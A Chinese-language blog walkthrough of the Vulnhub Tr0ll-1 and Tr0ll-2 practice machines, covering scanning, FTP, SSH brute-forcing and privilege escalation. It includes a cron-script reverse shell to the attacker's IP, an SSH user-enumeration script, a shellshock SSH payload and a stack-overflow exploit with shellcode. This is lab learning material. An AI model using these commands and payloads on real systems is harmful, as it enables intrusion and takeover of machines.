Vulnhub靶场 Tr0ll打靶(上)

前言

最近看了一阵子小迪,感觉不能只是看理论,纸上得来终觉浅,所以打算搞几个靶机玩玩。这就目光聚焦在了知名的vulnhub.com网站了,根据搜集到的博客打算先打一打简单的,以后再搞难的!

Tr0ll-1

靶机配置

双击下载下来的vmx文件夹,导入到VMware虚拟机内部

需要注意kali虚拟机和靶机应该要再同一网段下(也就是虚拟机改为nat模式),我这是一台电脑安装的,因此不影响

靶机正常启动之后显示tty页面,就说明好了,可以不必管他了

refer:(https://www.cnblogs.com/BKNboy-Blog/p/18301056/Shooting_Range4)

打靶

信息收集和打点

首先使用nmap扫描存活主机,参数是-sn(老版本是-sP)

后面跟上192.168.1.0/24意思是可用 IP 范围:192.168.1.1 ~ 192.168.1.254下的所有主机

我的kali ip在192.168.153下面,因此靶机的ip八九不离十也是在这下面了

输入命令:

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| └─$ nmap -sn 192.168.153.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:22 EDT Nmap scan report for 192.168.153.1 Host is up (0.00026s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.153.2 Host is up (0.00011s latency). MAC Address: 00:50:56:E7:17:EE (VMware) Nmap scan report for 192.168.153.131 Host is up (0.00029s latency). MAC Address: 00:0C:29:1B:BA:36 (VMware) Nmap scan report for 192.168.153.254 Host is up (0.00016s latency). MAC Address: 00:50:56:F8:C2:5B (VMware) Nmap scan report for 192.168.153.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds |

这里扫出来192.168.153.1 / .2 / .254:都是 VMware 虚拟网关、虚拟网卡,不是靶机。

我本机是135结尾,那这个131就很可疑了

接下来扫描其开放了什么端口

-sV参数说明也要扫出来服务版本。-p-说明不指定端口,扫描全部的

也可以加上-sC说明使用默认脚本扫描,可能会扫出来一些弱口令等

结果如下:

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| └─$ nmap -sV -p- -sC 192.168.153.131 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 03:27 EDT Nmap scan report for 192.168.153.131 Host is up (0.0016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.2 | ftp-syst: | STAT: | FTP server status: | Connected to 192.168.153.135 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 600 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.2 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap [NSE: writeable] 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA) | 2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA) | 256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA) |_ 256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519) 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.7 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/secret MAC Address: 00:0C:29:1B:BA:36 (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds |

这里主要扫出来tcp端口、SSH端口和80端口,可以访问80端口看一看

这里面没有什么信息(前端源码也看了没有信息)但是至少知道了用的Apache 2.4.7版本的服务器

我们可以看到,加了-sC参数之后好多消息都爆了出来,包括自动帮我们扫描了/robots.txt和FTP匿名登陆

我们访问/secret,只是又给了一个无意义的图片,因此我们现在聚焦于FTP匿名登陆,刚好nmap给我们扫描到一个流量包文件,我们挤进去试试能不能下载

匿名登陆的时候我们输入anonymous即可不需要账号密码登录FTP服务

我们输入ls查看里面的文件

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||10258|). 150 Here comes the directory listing. -rwxrwxrwx 1 1000 0 8068 Aug 10 2014 lol.pcap 226 Directory send OK. |

然后输入get即可下载里面的文件

我们下载下来流量包,进行流量分析

发现传输了一个txt文件

txt文件内容:

|-----------------------------------------------------------------------------------------------------------------------------------------------------------|
| Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P Sucks, you were so close... gotta TRY HARDER! |

这个是一个敏感的信息:sup3rs3cr3tdirlol

根据翻译,是超级-神秘-dir-lol

于是拼接到ip后面进行访问

可以看到这是一个文件预览系统,上一级目录看html代码正是根目录

于是我们下载这个文件,进行分析

通过010查看文件头,这是一个可执行文件

|---------------------------------------------------------------------------------------------------------------------------------|
| int __cdecl main(int argc, const char **argv, const char **envp) { return printf("Find address 0x0856BF to proceed"); } |

只有main函数有内容,提示了一个地址。

这个地址并非是可执行程序内部的地址,于是合理怀疑是一个路由目录

很明显这里有password,这个密码推测是刚才的ssh服务的密码。

good_luck文件夹下面是以下内容:

|----------------------------------------------------------------------------------------------------------------------|
| maleus ps-aux felux Eagle11 genphlux < -- Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflow |

另一个文件夹是pass.txt。于是推测这里面存在ssh服务密码

但是SSH还需要用户名,换一个思路,把good luck文件夹里面的当作用户名,pass.txt当作密码进行爆破即可

这里自己粘贴弄得txt没有爆破出来,于是先用wget下载文件:

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ┌──(kali㉿kali)-[~/桌面] └─$ wget http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt --2026-05-28 06:07:17-- http://192.168.153.131/0x0856BF/this_folder_contains_the_password/Pass.txt 正在连接 192.168.153.131:80... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:12 [text/plain] 正在保存至: “Pass.txt” Pass.txt 100%[=======================================================================================================================================>] 12 --.-KB/s 用时 0s 2026-05-28 06:07:17 (2.32 MB/s) - 已保存 “Pass.txt” [12/12]) ┌──(kali㉿kali)-[~/桌面] └─$ wget http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt --2026-05-28 06:07:28-- http://192.168.153.131/0x0856BF/good_luck/which_one_lol.txt 正在连接 192.168.153.131:80... 已连接。 已发出 HTTP 请求,正在等待回应... 200 OK 长度:109 [text/plain] 正在保存至: “which_one_lol.txt” which_one_lol.txt 100%[=======================================================================================================================================>] 109 --.-KB/s 用时 0s 2026-05-28 06:07:28 (29.9 MB/s) - 已保存 “which_one_lol.txt” [109/109]) |

然后使用九头蛇进行爆破

命令:hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131

密码竟然就是Pass.txt

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| $ hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.153.131 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-28 06:09:50 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task [DATA] attacking ssh://192.168.153.131:22/ [22][ssh] host: 192.168.153.131 login: overflow password: Pass.txt 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-28 06:10:01 |

成功拿到普通用户shell

提权之内核漏洞

我们linux提权,大概思路就是内核漏洞,suid,sudold_preload、cron、lxd、capability、rbash等等

我们先从内核漏洞开始看起

|-----------------------------------------------------------------------------------------------------------------------|
| $ uname -a Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 i686 i686 GNU/Linux |

查看内核版本是3.13.0之后,我们可以考虑用searchsploit工具查漏洞

查出来很多漏洞。主要看下面这俩:

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation | linux/local/37292.c Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow) |

使用locate命令,能够快速定位某个路径

|------------------------------------------------------------------------------------------|
| └─$ locate linux/local/37292.c /usr/share/exploitdb/exploits/linux/local/37292.c |

我们复制这个出来,进行编译即可。局域网传文件,我喜欢python起一个服务器

python3 -m http.server 8088

我们去到ssh下面,执行cd /tmpwget下载命令

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| $ cd /tmp $ wget 192.168.153.135:8088/exp --2026-05-28 01:31:17-- http://192.168.153.135:8088/exp Connecting to 192.168.153.135:8088... connected. HTTP request sent, awaiting response... 200 OK Length: 16488 (16K) [application/octet-stream] Saving to: ‘exp’ 100%[=================================================================================================================================================================================================>] 16,488 --.-K/s in 0s 2026-05-28 01:31:17 (457 MB/s) - ‘exp’ saved [16488/16488] |

但是这样子传不上去编译好的exp文件,我们只能上传.c文件之后在目标机器上编译

然后执行就拿到了shell

|---------------------------------------------------|
| $ ls 37292.c $ gcc 37292.c -o exp $ ./exp |

提权之SUID

还记得刚才我说过,计划任务也是提权的一种思路

退出的时候,会提示这样一段话:

这里就是说明貌似root用户启动了一个计划任务

我们不能直接输入命令看计划任务

因此这里我们查看计划任务的日志,看一看能发现啥蛛丝马迹

命令:find / -name cronlog 2>/dev/null

然后出来了一个路径,继续cat:

|-------------------------------------------------------|
| $ cat /var/log/cronlog */2 * * * * cleaner.py |

出了这样一个东西

继续搜寻发现到计划任务的原本模样:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| $ find / -name cleaner.py 2>/dev/null /lib/log/cleaner.py $ cat /lib/log/cleaner.py #!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/* ') except: sys.exit() |

怪不得我们一直退出,原来计划任务写死了

这里我们采取反弹shell的方式,让system权限反弹到kali机器里面

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| cat > /lib/log/cleaner.py << EOF #!/usr/bin/env python import os import sys try: os.system('bash -i >& /dev/tcp/192.168.153.135/4444 0>&1') except: sys.exit() EOF |

没有弹成功,我们换一种思路,采取SUID提权:

脚本改为下图

写完之后,强制保存退出

chmod u+s 文件名 是给这个文件打上 SUID(Set User ID) 特殊权限位。

提权成功:

Tr0ll-2

靶场配置

还是打开vmx文件,改成nat,不多说了

refer:

(https://blog.csdn.net/shenyu_1126/article/details/110505159)

https://www.cnblogs.com/l2sec/p/14414527.html

打靶

信息收集和打点

还是nmap先扫描一下:

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ┌──(kali㉿kali)-[~/桌面] └─$ nmap -sn 192.168.153.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:34 EDT Nmap scan report for 192.168.153.1 Host is up (0.0012s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.153.2 Host is up (0.00096s latency). MAC Address: 00:50:56:E7:17:EE (VMware) Nmap scan report for 192.168.153.132 Host is up (0.00072s latency). MAC Address: 00:0C:29:5D:4D:05 (VMware) Nmap scan report for 192.168.153.254 Host is up (0.00014s latency). MAC Address: 00:50:56:F8:C2:5B (VMware) Nmap scan report for 192.168.153.135 Host is up. Nmap done: 256 IP addresses (5 hosts up) scanned in 5.94 seconds |

还是192.168.153.132,先端口扫描一下:

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| └─$ nmap -sV -sC -p- 192.168.153.132 Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-28 08:36 EDT Nmap scan report for 192.168.153.132 Host is up (0.0049s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.0.8 or later 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 1024 82:fe:93:b8:fb:38:a6:77:b5:a6:25:78:6b:35:e2:a8 (DSA) | 2048 7d:a5:99:b8:fb:67:65:c9:64:86:aa:2c:d6:ca:08:5d (RSA) |_ 256 91:b8:6a:45:be:41:fd:c8:14:b5:02:a0:66:7c:8c:96 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) |_http-server-header: Apache/2.2.22 (Ubuntu) |_http-title: Site doesn't have a title (text/html). MAC Address: 00:0C:29:5D:4D:05 (VMware) Service Info: Host: Tr0ll; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.26 seconds |

还是那几个端口,着重看ftp、ssh和80端口

我们扫描一下目录看看

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| User-agent:* Disallow: /noob /nope /try_harder /keep_trying /isnt_this_annoying /nothing_here /404 /LOL_at_the_last_one /trolling_is_fun /zomg_is_this_it /you_found_me /I_know_this_sucks /You_could_give_up /dont_bother /will_it_ever_end /I_hope_you_scripted_this /ok_this_is_it /stop_whining /why_are_you_still_looking /just_quit /seriously_stop |

扫描到了robots.txt,这里面有了不少的目录

进行统一发包发现就这几个不是404

于是点进去进行测试一波

这几个页面统一重定向到了一个jpg,我们可以分析一下图片里面是不是隐藏有什么信息

但是这四个图片其实是不一样的,在dont_bother目录下面发现了提示,根据靶机1的尿性,恐怕是一个目录

进去之后是大量的base64.看了博客提示反应过来,可以用base64命令便捷解码

这里每一行都有一条,可以考虑是密码。结合上个靶机,我们可以猜测是密码字典

|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| └─$ ftp 192.168.153.132 Connected to 192.168.153.132. 220 Welcome to Tr0ll FTP... Only noobs stay for a while... Name (192.168.153.132:kali): |

这个ftp其实是提示了用户名

我们用九头蛇试着爆破一下hydra -l Tr0ll -P 1.txt ftp://192.168.153.132

发现错误了,看了博客才知道用户名就是密码。真的是缺乏尝试,这方面以后可以注意一下

这里面有一个加密后的zip,我们刚才获得的字典可以用在这里试一下。

成功恢复密码:ItCantReallyBeThisEasyRightLOL

noob是一个RSA私钥

|--------------------------------------------------------|
| ➜ Desktop file noob noob: PEM RSA private key |

根据SSH版本,看看有没有可以利用的漏洞:

应该存在用户名枚举漏洞

因为poc版本太老了,用豆包简单修改了一下,枚举出来noob这个用户似乎是存在的

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| #!/usr/bin/env python3 # CVE-2018-15473 SSH User Enumeration # 完全兼容 Python3 + 新版 Paramiko(Kali 自带可直接运行) import argparse import logging import paramiko import socket logging.getLogger("paramiko").setLevel(logging.CRITICAL) class InvalidUsername(Exception): pass # ===================== 补丁核心(已修复新版 Paramiko)===================== original_add_boolean = paramiko.message.Message.add_boolean def patch_add_boolean(*args, **kwargs): return None def hook_service_accept(self, m): paramiko.message.Message.add_boolean = patch_add_boolean try: return self._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT](self, m) finally: paramiko.message.Message.add_boolean = original_add_boolean def hook_userauth_failure(self, m): raise InvalidUsername() # 自动给当前 AuthHandler 打补丁(安全、无报错) def apply_patch(): cls = paramiko.auth_handler.AuthHandler cls._client_handler_table = { paramiko.common.MSG_SERVICE_ACCEPT: hook_service_accept, paramiko.common.MSG_USERAUTH_FAILURE: hook_userauth_failure, } apply_patch() # ======================================================================== def check_user(target, port, username): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) try: sock.connect((target, port)) except: print("[!] 连接失败") return transport = paramiko.Transport(sock) try: transport.start_client() except: print("[!] SSH 协商失败") return try: key = paramiko.RSAKey.generate(2048) transport.auth_publickey(username, key) except InvalidUsername: print(f"[-] {username} 不存在") except paramiko.AuthenticationException: print(f"[+] {username} 存在!") except: print(f"[*] {username} 可能存在") transport.close() sock.close() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("target") parser.add_argument("username") parser.add_argument("-p", "--port", type=int, default=22) args = parser.parse_args() check_user(args.target, args.port, args.username) |

|------------------------------------------------------------|
| $ python poc.py 192.168.153.132 noob [*] noob 可能存在 |

其实按理来说,也不需要这样。我们私钥文件是noob,就可以合理猜测noob就是用户名,这个只是一个佐证

用-i参数,可以用私钥登录SSH

这里需要注意,新版本SSH不能利用这个算法登录了,需要在参数显式声明才可以

ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132

这时候会报错,怀疑是故意设计的不允许这样登录

我们加上-t参数也不行:

|------------------------------------------------------------------------------------------------------------------------------------------------------|
| └─$ ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "/bin/sh" TRY HARDER LOL! Connection to 192.168.153.132 closed. |

shellshock攻击

可以参考这篇文章:shellshock从底层原理到手法总结-先知社区

老版本 bash(<4.1)在解析环境变量时,会把 () { ... }; 后面的命令直接执行。

使用这个漏洞即可拿到shell:ssh -i noob -o PubkeyAcceptedAlgorithms=+ssh-rsa noob@192.168.153.132 -t "() { :;}; /bin/bash"

我们看一下内核版本

和靶机1一样,但是看博客说内核漏洞利用提权会失败,索性我也不想尝试了

suid提权搜索结果:

我们重点看这几个r00t文件,我们全部都拷贝出来试试。

可以通过base64命令,编码指定的可执行文件,到时候再转为文件即可

栈溢出提权

我们提取了俩是可执行文件,可以放进ida分析一下:

door1的main函数:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax puts("\n2 MINUTE HARD MODE LOL"); result = fork(); if ( !result ) { system("/bin/chmod 600 /bin/ls"); sleep(0x78u); return system("/bin/chmod 777 /bin/ls"); } return result; } |

他会暂时禁用/bin/ls的权限,也就是用不了ls命令

这个显然不是我们想要的函数

door3:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax puts("Good job, stand by, executing root shell..."); sleep(3u); puts("BUHAHAHA NOOB!"); sleep(1u); result = fork(); if ( !result ) return system("/sbin/reboot"); return result; } |

竟然直接重启电脑

那接下来我们只能看一看door2

这是main函数,为了尊重pwn放一张图片:

我们先检查一下程序的保护措施

基本上没有保护措施。这个程序我们可以利用栈溢出拿到shell

这里栈可执行,那显然可以往栈上注入shellcode

我们现在可以用gdb调试看看栈地址

main函数的EBP地址是:0xffffc818

可以参考:红队渗透项目之Tr0ll2 - FreeBuf网络安全行业门户

主要是找到地址,进行nop滑梯填充即可

下面是引用的原文章 有点不想复现了

用gdb进行拆解,找溢出值,填充300的值,获取偏移地址:

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| >gdb r00t >run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9 |

获得地址:

|---------------------|
| >0x6a413969 |

3)获得偏移量

利用pattern_offset.rb,找偏移量:

|--------------------------------------------------------------------------------------|
| >/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6a413969 |

获得偏移量为268!

3、查找ESP的溢出地址

前面找到偏移量后,可以知道栈空间大小占据空间位置,接下来找到跳板地址也就是ESP,就可以跳到恶意代码shellcode位置!

1)print写入268个A和4个B,查找出EIP地址

|---------------------------------------------------------|
| >r $(python -c 'print "A"*268 + "B"*4') >info r |

继续获取ESP值。

2)获取ESP(下一跳值)

print写入268个A、4个B和20个C,查找出ESP地址:

|----------------------------------------------------------|
| >r $(python -c 'print "A"*268 + "B"*4 + "C"*20') |

获取ESP内存地址:0xbffffb80

即反向ESP为:\x80\xfb\xff\xbf。

4、shellcode编写

谷歌搜索获得shellcode:

|-------------------------------------------------------------------|
| >http://shell-storm.org/shellcode/files/shellcode-827.php |

因为它运行在Intel,并且操作系统是86位Linux,因此我从此处获取Shellcode连接:

|-----------------------------------------------------------------------------------------------------------|
| >"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') |

当选择好shellcode恶意代码后,即可进行exp写入shellcode进行编写payload。

5、EXP编写

接下来需要执行exp,获得shell,开始编写。

编写EXP:

|----------------------------------------------------------------------------------|
| >./r00t $(python -c 'print "A"*偏移量 + "反向ESP" + "\x90"*20 + "shellcode"') |

按照模板编写:

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| >./r00t $(python -c 'print "A"*268 + "\x80\xfb\xff\xbf" + "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"') >python -c 'import pty; pty.spawn("/bin/bash")' #执行tty |

可看到成功缓冲区溢出跳转执行shellcode获得bash的shell!

相关推荐
gs801402 小时前
网络隐形杀手:从 Could not connect to SMTP host 报错深度剖析 Docker MTU 黑洞理论与实战
网络·docker·容器
wanhengidc3 小时前
云手机搬砖 像僵尸开炮
运维·网络·智能手机·云计算
星恒讯工业路由器3 小时前
5G‑A大上行:七大技术补短板
网络·信息与通信·6g·5g‑a·5g-a大上行
蒸蛋一级爱好者3 小时前
IO多路复用和并发服务器
网络
二等饼干~za8986683 小时前
geo优化源码开发搭建技术分享
大数据·网络·数据库·人工智能·音视频
Hommy883 小时前
【剪映小助手】贴纸处理接口
网络·开源·github·aigc·剪映小助手·视频剪辑自动化
志栋智能4 小时前
超越监控:超自动化巡检提供的主动价值
运维·网络·人工智能·自动化
MAXrxc4 小时前
OSPF综合实验
网络